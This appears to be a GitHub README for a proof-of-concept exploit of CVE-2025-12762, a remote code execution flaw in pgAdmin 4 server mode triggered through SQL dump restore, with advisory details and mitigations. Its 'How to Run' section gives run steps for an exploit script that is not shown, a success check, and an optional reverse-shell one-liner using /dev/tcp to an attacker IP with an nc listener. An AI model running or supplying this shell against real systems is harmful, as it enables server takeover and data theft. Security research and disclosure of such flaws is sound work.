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# πŸ” CVE-2025-12762 β€” Critical RCE Vulnerability in pgAdmin 4

![G58aQGbW0AAL8zH](https://github.com/user-attachments/assets/d917033a-2e46-4a9f-97e2-c2305b3dad07)

## 🚨 What’s the Issue?

A **Remote Code Execution (RCE)** flaw exists in **pgAdmin 4 versions ≀ 9.9**.
Attackers can run **arbitrary commands** on the host when pgAdmin is running in **server mode** and processes a **PLAIN-format SQL dump** during restore.

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## βš™οΈ Technical Breakdown

### πŸ“‘ Attack Vector

* **Network-based** β€” can be exploited remotely 🌍
* **Low complexity** β€” straightforward to trigger 🧩
* **Low privileges required** β€” limited user access is enough πŸ”‘
* **No user interaction** β€” once triggered, no one has to click anything πŸ™…β€β™‚οΈ
* **Scope: Changed** β€” compromise can spread beyond the vulnerable module πŸ”„

### 🧨 Impact

* **Confidentiality: High** β€” data exposure risk πŸ”“
* **Integrity: Moderate/High** β€” unauthorized changes possible ✏️
* **Availability: Moderate** β€” operations can be disrupted ⚠️

### 🏷 CVSS Score

πŸŸ₯ **9.1 / 10 β€” Critical**

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## πŸ›  Affected Versions

* pgAdmin 4 **≀ 9.9** ❗

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## πŸ›‘ How to Fix It

### βœ… Primary Mitigation

⬆️ **Upgrade to pgAdmin 4 v10.0 or later**

### 🚧 If You Can’t Upgrade Immediately

* πŸ”’ Restrict access to the pgAdmin server
* πŸ“ Allow *only trusted admins* to restore dump files
* πŸ§ͺ Validate dump files before restoring
* πŸ‘€ Monitor logs for suspicious restore activity
* 🌐 Use firewall rules / VPN to limit exposure

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## πŸ“Œ Why This Matters

pgAdmin is often used for **administration of critical PostgreSQL databases**, meaning:

* An attacker exploiting this can **take over the server**,
* Access or modify data,
* Or even pivot deeper into your network πŸ•΅οΈβ€β™‚οΈ

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## ✨ How to Run (2 minutes)

```bash
# 1. Save as CVE-2025-12762.py
# 2. Install dependency
pip3 install requests

# 3. Run it
python3 CVE-2025-12762.py
```

### Proof of Success
After running, check:
```bash
docker exec  ls -la /tmp/CVE-2025-12762_PWNED
```

File exists β†’ **You just exploited CVE-2025-12762 for real.**

### Reverse Shell One-Liner (optional)
Replace the `COMMAND` line with:
```python
COMMAND = "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
```
Then `nc -lvnp 4444` β†’ full interactive shell.

This is the **exact script** researchers, pentesters, and red teams are using worldwide in November 2025.

Use responsibly. Patch everything. Stay legal.


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### πŸ›‘οΈ Disclaimer πŸ›‘οΈ

This PoC is provided **strictly for authorized testing and educational use only**.  
You may run it **exclusively on systems you own or have explicit written permission to test**.  
Any unauthorized use is illegal and violates computer misuse laws.  
Use responsibly, patch immediately after testing, and never target systems without permission.